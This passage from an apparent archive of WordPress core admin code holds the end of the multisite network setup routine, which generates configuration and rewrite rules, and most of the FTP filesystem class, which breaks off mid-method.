		} else {
			$subdomain_install = (bool) $wpdb->get_var( "SELECT meta_value FROM $wpdb->sitemeta WHERE site_id = 1 AND meta_key = 'subdomain_install'" );

			wp_admin_notice(
				'<strong>' . __( 'Warning:' ) . '</strong> ' . __( 'An existing WordPress network was detected.' ),
				array(
					'additional_classes' => array( 'error' ),
				)
			);
			?>
	<p><?php _e( 'Please complete the configuration steps. To create a new network, you will need to empty or remove the network database tables.' ); ?></p>
			<?php
		}
	}

	$subdir_match          = $subdomain_install ? '' : '([_0-9a-zA-Z-]+/)?';
	$subdir_replacement_01 = $subdomain_install ? '' : '$1';
	$subdir_replacement_12 = $subdomain_install ? '$1' : '$2';

	if ( $_POST || ! is_multisite() ) {
		?>
		<h3><?php esc_html_e( 'Enabling the Network' ); ?></h3>
		<p><?php _e( 'Complete the following steps to enable the features for creating a network of sites.' ); ?></p>
		<?php
		$notice_message = '<strong>' . __( 'Caution:' ) . '</strong> ';
		$notice_args    = array(
			'type'               => 'warning',
			'additional_classes' => array( 'inline' ),
		);

		if ( file_exists( $home_path . '.htaccess' ) ) {
			$notice_message .= sprintf(
				/* translators: 1: wp-config.php, 2: .htaccess */
				__( 'You should back up your existing %1$s and %2$s files.' ),
				'<code>wp-config.php</code>',
				'<code>.htaccess</code>'
			);
		} elseif ( file_exists( $home_path . 'web.config' ) ) {
			$notice_message .= sprintf(
				/* translators: 1: wp-config.php, 2: web.config */
				__( 'You should back up your existing %1$s and %2$s files.' ),
				'<code>wp-config.php</code>',
				'<code>web.config</code>'
			);
		} else {
			$notice_message .= sprintf(
				/* translators: %s: wp-config.php */
				__( 'You should back up your existing %s file.' ),
				'<code>wp-config.php</code>'
			);
		}

		wp_admin_notice( $notice_message, $notice_args );
	}
	?>
	<ol>
		<li><p id="network-wpconfig-rules-description">
		<?php
		printf(
			/* translators: 1: wp-config.php, 2: Location of wp-config file, 3: Translated version of "That's all, stop editing! Happy publishing." */
			__( 'Add the following to your %1$s file in %2$s <strong>above</strong> the line reading %3$s:' ),
			'<code>wp-config.php</code>',
			'<code>' . $location_of_wp_config . '</code>',
			/*
			 * translators: This string should only be translated if wp-config-sample.php is localized.
			 * You can check the localized release package or
			 * https://i18n.svn.wordpress.org/<locale code>/branches/<wp version>/dist/wp-config-sample.php
			 */
			'<code>/* ' . __( 'That&#8217;s all, stop editing! Happy publishing.' ) . ' */</code>'
		);
		?>
		</p>
		<p class="configuration-rules-label"><label for="network-wpconfig-rules">
			<?php
			printf(
				/* translators: %s: File name (wp-config.php, .htaccess or web.config). */
				__( 'Network configuration rules for %s' ),
				'<code>wp-config.php</code>'
			);
			?>
		</label></p>
		<textarea id="network-wpconfig-rules" class="code" readonly="readonly" cols="100" rows="7" aria-describedby="network-wpconfig-rules-description">
define( 'MULTISITE', true );
define( 'SUBDOMAIN_INSTALL', <?php echo $subdomain_install ? 'true' : 'false'; ?> );
define( 'DOMAIN_CURRENT_SITE', '<?php echo $hostname; ?>' );
define( 'PATH_CURRENT_SITE', '<?php echo $base; ?>' );
define( 'SITE_ID_CURRENT_SITE', 1 );
define( 'BLOG_ID_CURRENT_SITE', 1 );
</textarea>
		<?php
		$keys_salts = array(
			'AUTH_KEY'         => '',
			'SECURE_AUTH_KEY'  => '',
			'LOGGED_IN_KEY'    => '',
			'NONCE_KEY'        => '',
			'AUTH_SALT'        => '',
			'SECURE_AUTH_SALT' => '',
			'LOGGED_IN_SALT'   => '',
			'NONCE_SALT'       => '',
		);
		foreach ( $keys_salts as $c => $v ) {
			if ( defined( $c ) ) {
				unset( $keys_salts[ $c ] );
			}
		}

		if ( ! empty( $keys_salts ) ) {
			$keys_salts_str = '';
			$from_api       = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' );
			if ( is_wp_error( $from_api ) ) {
				foreach ( $keys_salts as $c => $v ) {
					$keys_salts_str .= "\ndefine( '$c', '" . wp_generate_password( 64, true, true ) . "' );";
				}
			} else {
				$from_api = explode( "\n", wp_remote_retrieve_body( $from_api ) );
				foreach ( $keys_salts as $c => $v ) {
					$keys_salts_str .= "\ndefine( '$c', '" . substr( array_shift( $from_api ), 28, 64 ) . "' );";
				}
			}
			$num_keys_salts = count( $keys_salts );
			?>
		<p id="network-wpconfig-authentication-description">
			<?php
			if ( 1 === $num_keys_salts ) {
				printf(
					/* translators: %s: wp-config.php */
					__( 'This unique authentication key is also missing from your %s file.' ),
					'<code>wp-config.php</code>'
				);
			} else {
				printf(
					/* translators: %s: wp-config.php */
					__( 'These unique authentication keys are also missing from your %s file.' ),
					'<code>wp-config.php</code>'
				);
			}
			?>
			<?php _e( 'To make your installation more secure, you should also add:' ); ?>
		</p>
		<p class="configuration-rules-label"><label for="network-wpconfig-authentication"><?php _e( 'Network configuration authentication keys' ); ?></label></p>
		<textarea id="network-wpconfig-authentication" class="code" readonly="readonly" cols="100" rows="<?php echo $num_keys_salts; ?>" aria-describedby="network-wpconfig-authentication-description"><?php echo esc_textarea( $keys_salts_str ); ?></textarea>
			<?php
		}
		?>
		</li>
	<?php
	if ( iis7_supports_permalinks() ) :
		// IIS doesn't support RewriteBase, all your RewriteBase are belong to us.
		$iis_subdir_match       = ltrim( $base, '/' ) . $subdir_match;
		$iis_rewrite_base       = ltrim( $base, '/' ) . $rewrite_base;
		$iis_subdir_replacement = $subdomain_install ? '' : '{R:1}';

		$web_config_file = '<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <rewrite>
            <rules>
                <rule name="WordPress Rule 1" stopProcessing="true">
                    <match url="^index\.php$" ignoreCase="false" />
                    <action type="None" />
                </rule>';
		if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) {
			$web_config_file .= '
                <rule name="WordPress Rule for Files" stopProcessing="true">
                    <match url="^' . $iis_subdir_match . 'files/(.+)" ignoreCase="false" />
                    <action type="Rewrite" url="' . $iis_rewrite_base . WPINC . '/ms-files.php?file={R:1}" appendQueryString="false" />
                </rule>';
		}
			$web_config_file .= '
                <rule name="WordPress Rule 2" stopProcessing="true">
                    <match url="^' . $iis_subdir_match . 'wp-admin$" ignoreCase="false" />
                    <action type="Redirect" url="' . $iis_subdir_replacement . 'wp-admin/" redirectType="Permanent" />
                </rule>
                <rule name="WordPress Rule 3" stopProcessing="true">
                    <match url="^" ignoreCase="false" />
                    <conditions logicalGrouping="MatchAny">
                        <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" />
                        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" />
                    </conditions>
                    <action type="None" />
                </rule>
                <rule name="WordPress Rule 4" stopProcessing="true">
                    <match url="^' . $iis_subdir_match . '(wp-(content|admin|includes).*)" ignoreCase="false" />
                    <action type="Rewrite" url="' . $iis_rewrite_base . '{R:1}" />
                </rule>
                <rule name="WordPress Rule 5" stopProcessing="true">
                    <match url="^' . $iis_subdir_match . '([_0-9a-zA-Z-]+/)?(.*\.php)$" ignoreCase="false" />
                    <action type="Rewrite" url="' . $iis_rewrite_base . '{R:2}" />
                </rule>
                <rule name="WordPress Rule 6" stopProcessing="true">
                    <match url="." ignoreCase="false" />
                    <action type="Rewrite" url="index.php" />
                </rule>
            </rules>
        </rewrite>
    </system.webServer>
</configuration>
';

			echo '<li><p id="network-webconfig-rules-description">';
			printf(
				/* translators: 1: File name (.htaccess or web.config), 2: File path. */
				__( 'Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:' ),
				'<code>web.config</code>',
				'<code>' . $home_path . '</code>'
			);
		echo '</p>';
		if ( ! $subdomain_install && WP_CONTENT_DIR !== ABSPATH . 'wp-content' ) {
			echo '<p><strong>' . __( 'Warning:' ) . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</strong></p>';
		}
		?>
			<p class="configuration-rules-label"><label for="network-webconfig-rules">
				<?php
				printf(
					/* translators: %s: File name (wp-config.php, .htaccess or web.config). */
					__( 'Network configuration rules for %s' ),
					'<code>web.config</code>'
				);
				?>
			</label></p>
			<textarea id="network-webconfig-rules" class="code" readonly="readonly" cols="100" rows="20" aria-describedby="network-webconfig-rules-description"><?php echo esc_textarea( $web_config_file ); ?></textarea>
		</li>
	</ol>

		<?php
	elseif ( $is_nginx ) : // End iis7_supports_permalinks(). Link to Nginx documentation instead:

		echo '<li><p>';
		printf(
			/* translators: %s: Documentation URL. */
			__( 'It seems your network is running with Nginx web server. <a href="%s">Learn more about further configuration</a>.' ),
			__( 'https://wordpress.org/documentation/article/nginx/' )
		);
		echo '</p></li>';

	else : // End $is_nginx. Construct an .htaccess file instead:

		$ms_files_rewriting = '';
		if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) {
			$ms_files_rewriting  = "\n# uploaded files\nRewriteRule ^";
			$ms_files_rewriting .= $subdir_match . "files/(.+) {$rewrite_base}" . WPINC . "/ms-files.php?file={$subdir_replacement_12} [L]" . "\n";
		}

		$htaccess_file = <<<EOF
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase {$base}
RewriteRule ^index\.php$ - [L]
{$ms_files_rewriting}
# add a trailing slash to /wp-admin
RewriteRule ^{$subdir_match}wp-admin$ {$subdir_replacement_01}wp-admin/ [R=301,L]

RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
RewriteRule ^{$subdir_match}(wp-(content|admin|includes).*) {$rewrite_base}{$subdir_replacement_12} [L]
RewriteRule ^{$subdir_match}(.*\.php)$ {$rewrite_base}$subdir_replacement_12 [L]
RewriteRule . index.php [L]

EOF;

		echo '<li><p id="network-htaccess-rules-description">';
		printf(
			/* translators: 1: File name (.htaccess or web.config), 2: File path. */
			__( 'Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:' ),
			'<code>.htaccess</code>',
			'<code>' . $home_path . '</code>'
		);
		echo '</p>';
		if ( ! $subdomain_install && WP_CONTENT_DIR !== ABSPATH . 'wp-content' ) {
			echo '<p><strong>' . __( 'Warning:' ) . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</strong></p>';
		}
		?>
			<p class="configuration-rules-label"><label for="network-htaccess-rules">
				<?php
				printf(
					/* translators: %s: File name (wp-config.php, .htaccess or web.config). */
					__( 'Network configuration rules for %s' ),
					'<code>.htaccess</code>'
				);
				?>
			</label></p>
			<textarea id="network-htaccess-rules" class="code" readonly="readonly" cols="100" rows="<?php echo substr_count( $htaccess_file, "\n" ) + 1; ?>" aria-describedby="network-htaccess-rules-description"><?php echo esc_textarea( $htaccess_file ); ?></textarea>
		</li>
	</ol>

		<?php
	endif; // End IIS/Nginx/Apache code branches.

	if ( ! is_multisite() ) {
		?>
		<p><?php _e( 'Once you complete these steps, your network is enabled and configured. You will have to log in again.' ); ?> <a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log In' ); ?></a></p>
		<?php
	}
}
class-wp-filesystem-ftpext.php000064400000055075150275632050012521 0ustar00<?php
/**
 * WordPress FTP Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for implementing FTP.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_FTPext extends WP_Filesystem_Base {

	/**
	 * @since 2.5.0
	 * @var resource
	 */
	public $link;

	/**
	 * Constructor.
	 *
	 * @since 2.5.0
	 *
	 * @param array $opt
	 */
	public function __construct( $opt = '' ) {
		$this->method = 'ftpext';
		$this->errors = new WP_Error();

		// Check if possible to use ftp functions.
		if ( ! extension_loaded( 'ftp' ) ) {
			$this->errors->add( 'no_ftp_ext', __( 'The ftp PHP extension is not available' ) );
			return;
		}

		// This class uses the timeout on a per-connection basis, others use it on a per-action basis.
		if ( ! defined( 'FS_TIMEOUT' ) ) {
			define( 'FS_TIMEOUT', 4 * MINUTE_IN_SECONDS );
		}

		if ( empty( $opt['port'] ) ) {
			$this->options['port'] = 21;
		} else {
			$this->options['port'] = $opt['port'];
		}

		if ( empty( $opt['hostname'] ) ) {
			$this->errors->add( 'empty_hostname', __( 'FTP hostname is required' ) );
		} else {
			$this->options['hostname'] = $opt['hostname'];
		}

		// Check if the options provided are OK.
		if ( empty( $opt['username'] ) ) {
			$this->errors->add( 'empty_username', __( 'FTP username is required' ) );
		} else {
			$this->options['username'] = $opt['username'];
		}

		if ( empty( $opt['password'] ) ) {
			$this->errors->add( 'empty_password', __( 'FTP password is required' ) );
		} else {
			$this->options['password'] = $opt['password'];
		}

		$this->options['ssl'] = false;

		if ( isset( $opt['connection_type'] ) && 'ftps' === $opt['connection_type'] ) {
			$this->options['ssl'] = true;
		}
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function connect() {
		if ( isset( $this->options['ssl'] ) && $this->options['ssl'] && function_exists( 'ftp_ssl_connect' ) ) {
			$this->link = @ftp_ssl_connect( $this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT );
		} else {
			$this->link = @ftp_connect( $this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT );
		}

		if ( ! $this->link ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		if ( ! @ftp_login( $this->link, $this->options['username'], $this->options['password'] ) ) {
			$this->errors->add(
				'auth',
				sprintf(
					/* translators: %s: Username. */
					__( 'Username/Password incorrect for %s' ),
					$this->options['username']
				)
			);

			return false;
		}

		// Set the connection to use Passive FTP.
		ftp_pasv( $this->link, true );

		if ( @ftp_get_option( $this->link, FTP_TIMEOUT_SEC ) < FS_TIMEOUT ) {
			@ftp_set_option( $this->link, FTP_TIMEOUT_SEC, FS_TIMEOUT );
		}

		return true;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false if no temporary file could be opened,
	 *                      or if the file couldn't be retrieved.
	 */
	public function get_contents( $file ) {
		$tempfile   = wp_tempnam( $file );
		$temphandle = fopen( $tempfile, 'w+' );

		if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

		if ( ! ftp_fget( $this->link, $temphandle, $file, FTP_BINARY ) ) {
			fclose( $temphandle );
			unlink( $tempfile );
			return false;
		}

		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.
		$contents = '';

		while ( ! feof( $temphandle ) ) {
			$contents .= fread( $temphandle, 8 * KB_IN_BYTES );
		}

		fclose( $temphandle );
		unlink( $tempfile );

		return $contents;
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return explode( "\n", $this->get_contents( $file ) );
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$tempfile   = wp_tempnam( $file );
		$temphandle = fopen( $tempfile, 'wb+' );

		if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

		mbstring_binary_safe_encoding();

		$data_length   = strlen( $contents );
		$bytes_written = fwrite( $temphandle, $contents );

		reset_mbstring_encoding();

		if ( $data_length !== $bytes_written ) {
			fclose( $temphandle );
			unlink( $tempfile );
			return false;
		}

		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.

		$ret = ftp_fput( $this->link, $file, $temphandle, FTP_BINARY );

		fclose( $temphandle );
		unlink( $tempfile );

		$this->chmod( $file, $mode );

		return $ret;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		$cwd = ftp_pwd( $this->link );

		if ( $cwd ) {
			$cwd = trailingslashit( $cwd );
		}

		return $cwd;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return @ftp_chdir( $this->link, $dir );
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

		// chmod any sub-objects if recursive.
		if ( $recursive && $this->is_dir( $file ) ) {
			$filelist = $this->dirlist( $file );

			foreach ( (array) $filelist as $filename => $filemeta ) {
				$this->chmod( $file . '/' . $filename, $mode, $recursive );
			}
		}

		// chmod the file or directory.
		if ( ! function_exists( 'ftp_chmod' ) ) {
			return (bool) ftp_site( $this->link, sprintf( 'CHMOD %o %s', $mode, $file ) );
		}

		return (bool) ftp_chmod( $this->link, $mode, $file );
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['owner'];
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['permsn'];
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['group'];
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		$content = $this->get_contents( $source );

		if ( false === $content ) {
			return false;
		}

		return $this->put_contents( $destination, $content, $mode );
	}

	/**
	 * Moves a file or directory.
	 *
	 * After moving files or directories, OPcache will need to be invalidated.
	 *
	 * If moving a directory fails, `copy_dir()` can be used for a recursive copy.
	 *
	 * Use `move_dir()` for moving directories with OPcache invalidation and a
	 * fallback to `copy_dir()`.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file or directory.
	 * @param string $destination Path to the destination file or directory.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		return ftp_rename( $this->link, $source, $destination );
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( empty( $file ) ) {
			return false;
		}

		if ( 'f' === $type || $this->is_file( $file ) ) {
			return ftp_delete( $this->link, $file );
		}

		if ( ! $recursive ) {
			return ftp_rmdir( $this->link, $file );
		}

		$filelist = $this->dirlist( trailingslashit( $file ) );

		if ( ! empty( $filelist ) ) {
			foreach ( $filelist as $delete_file ) {
				$this->delete( trailingslashit( $file ) . $delete_file['name'], $recursive, $delete_file['type'] );
			}
		}

		return ftp_rmdir( $this->link, $file );
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 * @since 6.3.0 Returns false for an empty path.
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		/*
		 * Check for empty path. If ftp_nlist() receives an empty path,
		 * it checks the current working directory and may return true.
		 *
		 * See https://core.trac.wordpress.org/ticket/33058.
		 */
		if ( '' === $path ) {
			return false;
		}

		$list = ftp_nlist( $this->link, $path );

		if ( empty( $list ) && $this->is_dir( $path ) ) {
			return true; // File is an empty directory.
		}

		return ! empty( $list ); // Empty list = no file, so invert.
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return $this->exists( $file ) && ! $this->is_dir( $file );
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		$cwd    = $this->cwd();
		$result = @ftp_chdir( $this->link, trailingslashit( $path ) );

		if ( $result && $path === $this->cwd() || $this->cwd() !== $cwd ) {
			@ftp_chdir( $this->link, $cwd );
			return true;
		}

		return false;
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return true;
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return true;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return false;
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return ftp_mdtm( $this->link, $file );
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		$size = ftp_size( $this->link, $file );

		return ( $size > -1 ) ? $size : false;
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		$path = untrailingslashit( $path );

		if ( empty( $path ) ) {
			return false;
		}

		if ( ! ftp_mkdir( $this->link, $path ) ) {
			return false;
		}

		$this->chmod( $path, $chmod );

		return true;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

	/**
	 * @param string $line
	 * @return array {
	 *     Array of file information.
	 *
	 *     @type string       $name        Name of the file or directory.
	 *     @type string       $perms       *nix representation of permissions.
	 *     @type string       $permsn      Octal representation of permissions.
	 *     @type string|false $number      File number as a string, or false if not available.
	 *     @type string|false $owner       Owner name or ID, or false if not available.
	 *     @type string|false $group       File permissions group, or false if not available.
	 *     @type string|false $size        Size of file in bytes as a string, or false if not available.
	 *     @type string|false $lastmodunix Last modified unix timestamp as a string, or false if not available.
	 *     @type string|false $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                     false if not available.
	 *     @type string|false $time        Last modified time, or false if not available.
	 *     @type string       $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *     @type array|false  $files       If a directory and `$recursive` is true, contains another array of files.
	 *                                     False if unable to list directory contents.
	 * }
	 */
	public function parselisting( $line ) {
		static $is_windows = null;

		if ( is_null( $is_windows ) ) {
			$is_windows = stripos( ftp_systype( $this->link ), 'win' ) !== false;
		}

		if ( $is_windows && preg_match( '/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/', $line, $lucifer ) ) {
			$b = array();

			if ( $lucifer[3] < 70 ) {
				$lucifer[3] += 2000;
			} else {
				$lucifer[3] += 1900; // 4-digit year fix.
			}

			$b['isdir'] = ( '<DIR>' === $lucifer[7] );

			if ( $b['isdir'] ) {
				$b['type'] = 'd';
			} else {
				$b['type'] = 'f';
			}

			$b['size']   = $lucifer[7];
			$b['month']  = $lucifer[1];
			$b['day']    = $lucifer[2];
			$b['year']   = $lucifer[3];
			$b['hour']   = $lucifer[4];
			$b['minute'] = $lucifer[5];
			$b['time']   = mktime( $lucifer[4] + ( strcasecmp( $lucifer[6], 'PM' ) === 0 ? 12 : 0 ), $lucifer[5], 0, $lucifer[1], $lucifer[2], $lucifer[3] );
			$b['am/pm']  = $lucifer[6];
			$b['name']   = $lucifer[8];
		} elseif ( ! $is_windows ) {
			$lucifer = preg_split( '/[ ]/', $line, 9, PREG_SPLIT_NO_EMPTY );

			if ( $lucifer ) {
				// echo $line."\n";
				$lcount = count( $lucifer );

				if ( $lcount < 8 ) {
					return '';
				}

				$b           = array();
				$b['isdir']  = 'd' === $lucifer[0][0];
				$b['islink'] = 'l' === $lucifer[0][0];

				if ( $b['isdir'] ) {
					$b['type'] = 'd';
				} elseif ( $b['islink'] ) {
					$b['type'] = 'l';
				} else {
					$b['type'] = 'f';
				}

				$b['perms']  = $lucifer[0];
				$b['permsn'] = $this->getnumchmodfromh( $b['perms'] );
				$b['number'] = $lucifer[1];
				$b['owner']  = $lucifer[2];
				$b['group']  = $lucifer[3];
				$b['size']   = $lucifer[4];

				if ( 8 === $lcount ) {
					sscanf( $lucifer[5], '%d-%d-%d', $b['year'], $b['month'], $b['day'] );
					sscanf( $lucifer[6], '%d:%d', $b['hour'], $b['minute'] );

					$b['time'] = mktime( $b['hour'], $b['minute'], 0, $b['month'], $b['day'], $b['year'] );
					$b['name'] = $lucifer[7];
				} else {
					$b['month'] = $lucifer[5];
					$b['day']   = $lucifer[6];

					if ( preg_match( '/([0-9]{2}):([0-9]{2})/', $lucifer[7], $l2 ) ) {
						$b['year']   = gmdate( 'Y' );
						$b['hour']   = $l2[1];
						$b['minute'] = $l2[2];
					} else {
						$b['year']   = $lucifer[7];
						$b['hour']   = 0;
						$b['minute'] = 0;
					}

					$b['time'] = strtotime( sprintf( '%d %s %d %02d:%02d', $b['day'], $b['month'], $b['year'], $b['hour'], $b['minute'] ) );
					$b['name'] = $lucifer[8];
				}
			}
		}

		// Replace symlinks formatted as "source -> target" with just the source name.
		if ( isset( $b['islink'] ) && $b['islink'] ) {
			$b['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $b['name'] );
		}

		return $b;
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array $0... {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type int|string|false $number      File number. May be a numeric string. False if not available.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path = '.', $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path ) . '/';
		} else {
			$limit_file = false;
		}

		$pwd = ftp_pwd( $this->link );

		if ( ! @ftp_chdir( $this->link, $path ) ) { // Can't change to folder = folder doesn't exist.
			return false;
		}

		$list = ftp_rawlist( $this->link, '-a', false );

		@ftp_chdir( $this->link, $pwd );

